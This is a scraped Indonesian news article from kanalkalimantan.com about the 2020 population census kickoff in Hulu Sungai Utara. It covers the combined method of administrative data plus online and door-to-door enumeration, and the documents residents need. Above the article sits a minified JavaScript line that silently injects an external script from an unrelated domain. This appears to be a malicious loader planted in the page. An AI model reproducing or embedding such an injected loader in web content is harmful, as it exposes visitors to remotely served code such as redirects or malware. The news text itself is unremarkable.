(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI - Badan Pusat Statistik (BPS) menyebut sensus penduduk tahun 2020 bakal memanfaatkan data registrasi penduduk yang disebut Combined Method (metode kombinasi) dengan maksud mengkombinasikan data administrasi yang tersedia pada Direktorat Jenderal Kependudukan dan Pencatatan Sipil, Kementerian Dalam Negeri (Ditjen Dukcapil Kemendagri).
Hal tersebut seperti disampaikan Kepala BPS Hulu Sungai Utara (HSU) Sukma Handayani saat membuka secara resmi Kick Off Sensus Penduduk 2020 Online bersama jajaran BPS HSU di aula Balqis Hotel, Sabtu (15/2/2020).
Lebih Lanjut, Sukma mengatakan, sensus penduduk 2020 terdapat perbedaan mendasar dari sensus tahun-tahun sebelumnya. Pemanfaatkan data registrasi penduduk yang disebut Combined Method (metode kombinasi).
Maksud metode kombinasi ialah data administrasi yang tersedia pada Ditjen Ducakpil Kemendagri akan dikombinasikan dengan pencacahan lapangan, baik melalui pendataan mandiri (Sensus Penduduk Online) maupun door-to-door dari BPS.
Kick Off Sensus Penduduk 2020 Online bersama jajaran BPS HSU di aula Balqis Hotel, Sabtu (15/2/2020). foto: dew
“Sehingga melalui sensus penduduk kita dapat mengetahui data kependudukan dan arah kebijakan terkait kesejahteraan masyarakat, kita harapkan saling menguntungkan antara BPS dan Dukcapil terkait update data terkini, hasilnya ke depan data Dukcapil dan sensus penduduk menjadi satu,†beber Sukma.
Hal ini, menurutnya diharapkan dapat memberikan kualitas data pendudukan yang lebih bagus, tertata rapi, lebih baik dari sebelumnya dan masyarakat bisa berpartisipasi aktif dalam sensus penduduk online.
Seiring dengan itu, Ariful Romadhon, statistisi pertama/staf seksi statistik sosial BPS HSU menyebut, sensus penduduk 2020 dilakukan dengan 2 cara yakni pertama, masyarakat mengupdate data kependudukannya sendiri secara online melalui sensus.bps.go.id pada 15 Februari hingga 31 Maret 2020 dan kedua petugas akan mendatangi setiap rumah pada tanggal 1-31 Juli 2020.
“Adapun data yang harus disiapkan oleh warga antara lain adalah KTP, KK, akta kelahiran, buku nikah (bagi yang sudah menikah) dan surat cerai (bagi yang pernah cerai),†pungkasnya. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
This website uses cookies.